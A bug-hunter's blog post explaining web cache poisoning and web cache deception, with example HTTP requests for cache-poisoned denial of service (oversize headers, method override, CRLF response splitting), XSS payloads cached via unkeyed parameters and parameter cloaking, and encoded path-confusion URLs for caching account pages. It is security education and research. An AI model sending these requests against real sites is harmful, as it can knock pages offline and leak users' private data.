Don’t Trust the Cache: Exposing Web Cache Poisoning and Deception vulnerabilities
Good Day!
I hope you are doing well. I have been studying the vulnerabilities related to the web cache .So I will share with you a shortcut of all the different techniques that I have seen so far. I’ll assume you have a basic understanding of web caching concepts.
الحمدلله و الصلاة و السلام على رسول الله
Obviously, the cache itself isn’t a vulnerability. What makes web applications vulnerable to web cache attacks is either chaining them with other bugs (most likely XSS) or taking advantage of misconfigurations to launch a Denial-of-Service (DoS) attack on the website.
Poisoning and Deception: Web Cache vulnerabilities Explained
Let’s start with web cache poisoning. The key to basic Web Cache Poisoning (WCP) is to manipulate a value that is not included in the cache key. Anything excluded from the cache key becomes part of our attack surface.
Before diving into different techniques, we need to understand how our target web application implements its caching configuration. This involves identifying which headers, parameters, and HTTP methods are actually included in the cache key and which are not. I will categorize the attacks into two main types:
Web Cache Poising DoS
Web Cache Poising With harmful Payloads
Web Cache Poising DoS
- HTTP Header Oversize (HHO)
The Goal here is to send a request with large Header size.However, the key factor here that the cache must accept larger header size than the origin server. So we can send a HTTP GET request with a header larger than the size supported by the origin server but smaller than the size supported by the cache server. The cache will proceed the request to the server normally but the origin server will return some status error code causing the cache server caching that error for the Original Request!
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
HTTP/1.1 400 Bad Request
Cache:hit
Big Header Size
here we poisoned the request “GET / HTTP/1.1” with a bad request status page.
2. HTTP Meta Character (HMC)
Instead of sending a large header. Here we send a header that contain some harmfull meta characters such as \n and \r. In order the attack to work you must bypass the cache first.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
HTTP/1.1 400 Bad Request
Cache:hit
Chars Not Allowed
3. HTTP Method Override Attack (HMO)
This attacks take advantage of some header supported by the web server such as X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override. If the web server is vulnerable and allows HTTP method overriding, it processes the request based on the value provided in the override header instead of the original method.
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
HTTP/1.1 404 Not Found
Cache:hit
Post Blogs Not Found
4. Unkeyed Port
This attack happened when the port in the Host header is reflected in the response and not included in the cache key.
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
So if we hit the cache with previous response. Any request to /index.html will end up redirected to a dead port https://redacted.com:1/index.html and then simply the browser will time out effectively preventing them from accessing the intended resource.
5.Redirect DoS
As with many of the web cache poisoning vulnerabilities highlighted by James Kettle in his research. But this is my favorite one because this happened to cloudflare login page.
In the previous techniques we discovered an unkeyed port. But what if we discovered that the query string is not in the cache key. Consider the request:
GET /login?x=abc HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc
Here the ?x=abc is not part of the cache key. We can take advantage of that by sending a very long query string.
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
Now in the process of following the redirect
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
Here the poison has done to the [ GET /login] page with a [GET /login?x=veryLongUrl ] which will end with some error status page.
6. Unkeyed Header
Some websites will return an error status code if they see some headers in the request. A while ago I found on a well known website it will return 403 forbidden status if the request has the header X-Amz-Website-Location-Redirect: someThing. This attacks works on all of the website static pages.
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
Now any user requests the /app.js will end up receiving the 403 page. I reported this and after two weeks they closed it as Out Of Scope DoS :)
7. Host Header case normalization
One of the attacks I saw from youst blog post is that the host header should always be case insensitive but some websites will lowercase the host header leading to potential DoS.
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
The capital letter in the host header (Cdn.redacted.com) is causing the error code which will end up blocking the request.
8.Path Normalization
I didn’t understand that well. But let’s considered this request.
GET /api/v1.1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 200 OK
If we do some url encode it might causing the server to generate some error code. Like encode the [.] with %2e
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
9.Invalid Headers CP-DoS
This techniques is from youst writeup as well I will share it down. The researcher observed that by sending a request to github repository with invalid content-type value will end up with some error status code.
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
HTTP/2 406 Not Acceptable
Cach:miss
10.HTTP Request Spliting
The last WCPDoS is from Sergy Bobrov. We can take advantage of CRLF injection to trick the cache to caching some error pages
GET /redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20404%20Not%20Found%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>NotFound</html>
This results in the following output stream, sent by the web server over the
TCP connection:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 404 NotFound
Content-Type: text/html
<html>NotFound</html>
The cache will see the response of the request [GET /redir_lang.jsp] as 404 Not Found and then will end up caching it.
One technique I tried is to send a request with a very long cookies. Trying to cause an error in the origin server and then try to cache that error page. I tried it on a few website and it didn’t works. Feel free to try or if you have something similar like that.
Conclusion
The cache sees nothing wrong with the requests being sent. But the origin server classifies the request as malicious so it returns some error code which is stored by the cache server. Obviously, this attack works if the cache is configured to cache status error codes. The best defense is just not to cache them.
Web Cache Poising With harmful Payloads
1. Unkeyed Query
The Goal here is to find an unkeyed query vulnerable to XSS in order to cache the page with our payload.
GET /?unkeyedParam=<script>alert(1)</script> HTTP/1.1
Host: redacted.com
HTTP/1.1 200 OK
Cache: Hit
<meta content="redacted.com/?unkeyedParam"><script>alert(1)</script>"/>
portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query
Same thing but with unkayed cooike
portswigger labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie
2.Unkeyed Method
Suppose we have a POST based xss
POST /add_title HTTP/1.1
Host: redacted.com
Content-Length: 31
title=<script>alert(1)</script>
HTTP/1.1 200 OK
Cache: miss
<div id="title"><script>alert(1)</script></div>
If the GET method is unkeyed we can simply poising the cache by changing the request to GET
GET /add_title HTTP/1.1
Host: redacted.com
Content-Length: 31
title=<script>alert(1)</script>
HTTP/1.1 200 OK
Cache: hit
<div id="title"><script>alert(1)</script></div>
3. Fat Get
Some times website supports GET requests with bodies. Here is a grate bug by James Kettle he found at the Github website
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Anyone who attempted to report abuse on albinowax profile would end up reporting ‘innocent-victim’ instead!
portswigger lab:https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Also I observed that cloudflare CDN will block any GET request that has a body in it. We can take advantage of this by sending a Fat Get causing the error page that returned by cloudflare and then try to cache it. I encountered this issue once. [Another WCP-DoS]
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
4.Cache Parameter Cloaking
What if all the parameters are in the cache key? Well the goal here is to find an excluded query string from the cache key. Suppose the following request. The cache exclude the utm_content param from the cache key.
GET /?title=Anas&utm_content=<script>alert(1)</script> HTTP/1.1
Host: redacted.com
In this technique, we will try to place the value of the unkeyed parameter, which is utm_content
, into the keyed title
parameter in order to poison the cache with the XSS payload. For example, Ruby on Rails splits the parameters based on the semicolon (;) Here, an attacker can send two requests that have the same cache key
GET /?title=Hello;utm_content=somethig;title=<script>alert(1)</script> HTTP/1.1
Host: redacted.com
HTTP/1.1 200 OK
Cache: miss
<div id="title"><script>alert(1)</script></div>
portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
There are also some ways to exploit such a vulnerabilities. I will let you discover and read them on the PortSwigger research section.
Web Cache Deception
Upon reading a white paper that I will link it down. More than 74% of the Alexatop 1k are served by CDN.
WCD results from path confusion between an origin server and a web cache. The goal here is to cache pages that contains sensitive information. In order to exploit WCD vulnerabilities we need to craft a url that satisfies two properties:
1.The url must be interpreted by the web server as a request for a non-cacheable page and should trigger a successful response.
2.The same url must be interpreted by an intermediate web cache as a request for a static object matching the caching rule.
Four Techniques for path confusion:
1.Path Parameter
GET /account.php/style.css
2.Encoded New Line \n
GET /account.php%0Astyle.css
3.Encoded Simicolon ;
GET /account.php%3Bstyle.css
4.Encoded Pound #
GET /account.php%23style.css
5.Encoded Question Mark ?
GET /account.php%3Fvar=style.css
Recently. I have read a great path confusion writeup but I don’t remember where.However, The bug hunter observer that the website has a caching rule like this
/blog/*
And he exploit that by sending this kind of request.
GET /blog/%2F../account.php
Correct me please if I am wrong or comment down the write up if you know it :)
The End
This is it! I think I’ve covered the key aspects of Web Cache attacks. Let me know in the comments if you have any questions or things I have missed.
Thanks for reaching here! Hope you liked it. Don’t forget to follow and clap along (you can do it up to 50 times!).
Join my telegram channel: anas_hmaidy
Follow me on LinkedIn: anas_hmaidy
Buy me a coffee : anas_hmaidy
Resources
James Kettle. Web-cache-entanglement
Jemes Kettle. Practical Web Cache Poisoning
https://portswigger.net/research/practical-web-cache-poisoning
Youst. Cache Poisoning at Scale
Youst. Cache Key Normalization DoS
CPDoS: Cache Poisoned Denial of Service
Sergey Bobrov. HTTP Response Splitting
HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics
Omer Git. Web Cache Deception Attack
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
Usenix. Cached and Confused: Web Cache Deception in the Wild
https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari